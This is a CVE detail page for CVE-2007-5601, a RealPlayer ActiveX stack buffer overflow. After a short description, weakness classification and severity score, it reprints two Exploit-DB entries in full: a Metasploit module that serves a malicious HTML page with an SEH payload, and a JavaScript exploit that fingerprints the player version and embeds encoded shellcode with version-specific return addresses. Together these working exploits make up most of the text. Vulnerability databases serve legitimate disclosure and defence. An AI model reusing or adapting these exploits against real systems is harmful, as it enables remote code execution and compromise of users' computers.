CVE-2007-5601 Detail

CVE-2007-5601

CVE Descriptions

Stack-based buffer overflow in the Database Component in MPAMedia.dll in RealNetworks RealPlayer 10.5 and 11 beta, and earlier versions including 10, RealOne Player, and RealOne Player 2, allows remote attackers to execute arbitrary code via certain playlist names, as demonstrated via the import method to the IERPCtl ActiveX control in ierpplug.dll.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	9.3		AV:N/AC:M/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 16497

Publication date : 2010-05-08 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: realplayer_import.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'RealPlayer ierpplug.dll ActiveX Control Playlist Name Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in RealOne Player V2 Gold Build 6.0.11.853 and RealPlayer 10.5 Build 6.0.12.1483. By sending an overly long string to the "Import()" method, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2007-5601' ], [ 'OSVDB', '41430' ], [ 'BID', '26130' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'IE / RealOne Player 2 (6.0.11.853)', { 'Offset' => 4756, 'Ret' => 0x601aa72b } ], #rpmn3260.dll (6.0.9.1419) [ 'IE / RealPlayer 10.5 (6.0.12.1483)', { 'Offset' => 4768, 'Ret' => 0x614bd13b } ], #rpmn3260.dll (6.0.9.2934) ], 'DisclosureDate' => 'Oct 18 2007', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize some things vname = rand_text_alpha(rand(100) + 1) strname = rand_text_alpha(rand(100) + 1) # Set the exploit buffer filler = rand_text_english(target['Offset']) seh = generate_seh_payload(target.ret) sploit = filler + seh + rand_text_english(30724 - payload.encoded.length) # [id(0x60020009), helpstring("Imports a file to RealPlayer's Media Library")] # long Import( # [in] BSTR file, # [in, optional, defaultvalue("")] BSTR playlist, # [in, optional, defaultvalue("")] BSTR clipInfo, # [in, optional, defaultvalue(0)] long bPlayFile, # [in, optional, defaultvalue(0)] long bCopyToMyMusic); # Build out the message content = %Q| <html> <object classid='clsid:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5' id='#{vname}'></object> <script language='javascript'> var #{vname} = document.getElementById('#{vname}'); var #{strname} = new String('#{sploit}'); #{vname}.Import("Firstrun\\\\audio.rm" ,#{strname} ,"" ,0 ,0); </script> </html> | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end

Exploit Database EDB-ID : 30692

Publication date : 2007-10-17 22h00 +00:00
Author : anonymous
EDB Verified : Yes

source: https://www.securityfocus.com/bid/26130/info RealPlayer is prone to a stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks of user-supplied input before copying it to an insufficiently sized memory buffer. Attackers can exploit this issue to execute arbitrary code in the context of the application using the affected control (typically Internet Explorer). Successful attacks can compromise the application and possibly the underlying computer. Failed attacks will likely cause denial-of-service conditions. <script language="javascript"> eval("function RealExploit() { var user = navigator.userAgent.toLowerCase(); if(user.indexOf("msie 6")==-1&&user.indexOf("msie 7")==-1) return; if(user.indexOf("nt 5.")==-1) return; VulObject = "IER" + "PCtl.I" + "ERP" + "Ctl.1"; try { Real = new ActiveXObject(VulObject); }catch(error) { return; } RealVersion = Real.PlayerProperty("PRODUCTVERSION"); Padding = ""; JmpOver = unescape("%75%06%74%04"); for(i=0;i<32*148;i++) Padding += "S"; if(RealVersion.indexOf("6.0.14.") == -1) { if(navigator.userLanguage.toLowerCase() == "zh-cn") ret = unescape("%7f%a5%60"); else if(navigator.userLanguage.toLowerCase() == "en-us") ret = unescape("%4f%71%a4%60"); else return; } else if(RealVersion == "6.0.14.544") ret = unescape("%63%11%08%60"); else if(RealVersion == "6.0.14.550") ret = unescape("%63%11%04%60"); else if(RealVersion == "6.0.14.552") ret = unescape("%79%31%01%60"); else if(RealVersion == "6.0.14.543") ret = unescape("%79%31%09%60"); else if(RealVersion == "6.0.14.536") ret = unescape("%51%11%70%63"); else return; if(RealVersion.indexOf("6.0.10.") != -1) { for(i=0;i<4;i++) Padding = Padding + JmpOver; Padding = Padding + ret; } else if(RealVersion.indexOf("6.0.11.") != -1) { for(i=0;i<6;i++) Padding = Padding + JmpOver; Padding = Padding + ret; } else if(RealVersion.indexOf("6.0.12.") != -1) { for(i=0;i<9;i++) Padding = Padding + JmpOver; Padding = Padding + ret; } else if(RealVersion.indexOf("6.0.14.") != -1) { for(i=0;i<10;i++) Padding = Padding + JmpOver; Padding = Padding + ret; } AdjESP = "LLLL\\XXXXXLD"; Shell = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIJKBtnkSEgLnkD4vUT8fczUpVLKQfa04CHuFSJiCyqQnMFSIKtvvomnVtFHfXYbbTTHYQzkTMgsxZ3pjKHoUkyO1eJGqNlKsnQ4S3YMRFnkDL2knkQNELeSIMNkGtlKFckukspuSB2LrMrOpnTnE4RLRLS01S7JclRuVNSUt8PegpEcIPU4vcQPP0ahTLnkaP4LNkppwlNMLKSps8JKS9lKCpUdLMcpcLNkaPWLJ5OOLNbn4NjLzHNdKOyokOmS8ls4K3dltd7LIoN0lUv0MoTv4ZdoBPhhROkOKOYoLKSdWTkLLMSbNZVSYKrsbs3bzKfD0SKOjp1MOONxKNozTNm8scioKOkONcJLUTK3VLQ4qrKOxPMosNkhm2qcHhspKOkO9obrkOXPkXKg9oKO9osXsDT4pp4zvODoE4ea6NPlrLQcu71yrNcWTne3poPmTo2DDqFOprrLDnpecHQuWp"; PayLoad = Padding + AdjESP + Shell; while(PayLoad.length < 0x8000) PayLoad += "YuanGe"; // ?~??~-.=! Real.Import("c:\\Program Files\\NetMeeting\\TestSnd.wav", PayLoad,"", 0, 0); } RealExploit();") </script>